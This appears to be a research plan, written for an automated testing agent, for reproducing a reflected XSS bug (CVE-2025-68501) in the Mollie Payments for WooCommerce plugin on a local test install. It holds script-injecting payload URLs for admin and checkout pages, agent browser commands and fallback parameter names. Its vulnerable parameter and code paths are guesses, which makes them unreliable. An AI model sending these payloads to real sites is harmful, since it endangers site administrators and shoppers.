Exploitation Research Plan: CVE-2025-68501 - Mollie Payments for WooCommerce XSS

1. Vulnerability Summary

The Mollie Payments for WooCommerce plugin (versions <= 8.1.1) contains a reflected cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize or escape user-controlled input from URL parameters before echoing it back into the HTML of the page. An unauthenticated attacker can craft a malicious link containing a JavaScript payload; if a logged-in user (especially an administrator) clicks this link, the script executes in the context of their session.

2. Attack Vector Analysis

• Endpoint: The vulnerability is most likely located in the WordPress Admin dashboard within the plugin's settings or notice handlers, or on the public WooCommerce checkout/return pages.
• Vulnerable Parameter: mollie_error or message (inferred from typical Mollie plugin structures and common XSS patterns in this plugin family).
• Authentication Level: Unauthenticated (attacker crafts the link); the victim must be a logged-in user (typically an Administrator) for maximum impact.
• Preconditions: The plugin must be active. For admin-side reflection, the victim must have access to the admin dashboard.

3. Code Flow

Based on the plugin structure (e.g., src/Admin/Notice.php or src/Gateway/AbstractGateway.php):

1. Entry Point: The plugin registers an action on admin_notices or wp_footer / the_content to display feedback messages from Mollie.
2. Input Source: The plugin checks for the presence of specific GET parameters, such as $_GET['mollie_error'] or $_GET['msg'], which are often used to pass error messages back to the site after a redirect from the Mollie payment gateway.
3. Processing: The plugin retrieves the value of the parameter. In version 8.1.1, it lacks a call to esc_html() or wp_kses().
4. Sink: The raw value is echoed into a <div> (e.g., an admin notice or a WooCommerce error box).

4. Nonce Acquisition Strategy

Reflected XSS in GET parameters typically occurs before or outside of nonce-protected state-changing operations.

• Is a nonce required? No. The vulnerability is in the display logic (reflection), not in a processing logic (action). Nonces protect against CSRF (performing an action), whereas reflected XSS only requires the browser to render the attacker-supplied parameter.
• Strategy: No nonce is required to trigger the reflection. We only need to navigate to a URL that the plugin's logic monitors.

5. Exploitation Strategy

We will target the admin-side notice reflection, as it allows for site takeover.

Step 1: Craft the Payload

We will use a simple alert payload to prove execution:
mollie_error=<script>alert(document.domain)</script>

Step 2: Identify the Reflection URL

The most likely target is the Mollie settings page or the general WooCommerce settings page where Mollie notices are rendered.

• URL: /wp-admin/admin.php?page=mollie-settings&mollie_error=<script>alert(document.domain)</script>
• Alternative URL: /wp-admin/admin.php?page=wc-settings&tab=mollie_settings&mollie_error=<script>alert(document.domain)</script>

Step 3: Execute Request via Agent

The agent will use browser_navigate to simulate an admin clicking the link.

// Example logic for the automated agent
await browser_navigate("http://localhost:8080/wp-admin/admin.php?page=mollie-settings&mollie_error=<script>alert('XSS')</script>");

6. Test Data Setup

1. Plugin Installation: Ensure mollie-payments-for-woocommerce version 8.1.1 is installed and activated.
2. WooCommerce: WooCommerce must be installed and active for the plugin to function.
3. Administrator User: A standard admin user needs to be logged in to access the /wp-admin/ path where the notice will fire.

7. Expected Results

• The page should load.
• A JavaScript alert box with "XSS" or the domain name should appear.
• Inspecting the DOM should show the <script> tag rendered directly inside an admin notice div, for example:
  <div class="notice notice-error"><p><script>alert('XSS')</script></p></div>

8. Verification Steps

After the HTTP request, verify the vulnerability using the following:

1. DOM Check: Use browser_eval to check if the script exists in the source without being escaped.

   browser_eval("document.body.innerHTML.includes('<script>alert')")
   

2. Visual Confirmation: The agent's screenshot should capture the alert box if the browser driver supports it, or the presence of the injected HTML.

9. Alternative Approaches

If the admin-side reflection is not found, attempt the frontend checkout return reflection:

1. Endpoint: /checkout/order-received/1/?key=wc_order_...&mollie_error=<script>alert(1)</script>
2. Endpoint: /?wc-api=mollie_wc_gateway&mollie_error=<script>alert(1)</script>
   Note: Mollie uses wc-api endpoints for handling returns. Even if the signature check fails, the plugin might still reflect the error parameter on the subsequent redirect page.

If mollie_error is not the parameter, try:

• mollie_message
• error
• msg
• reason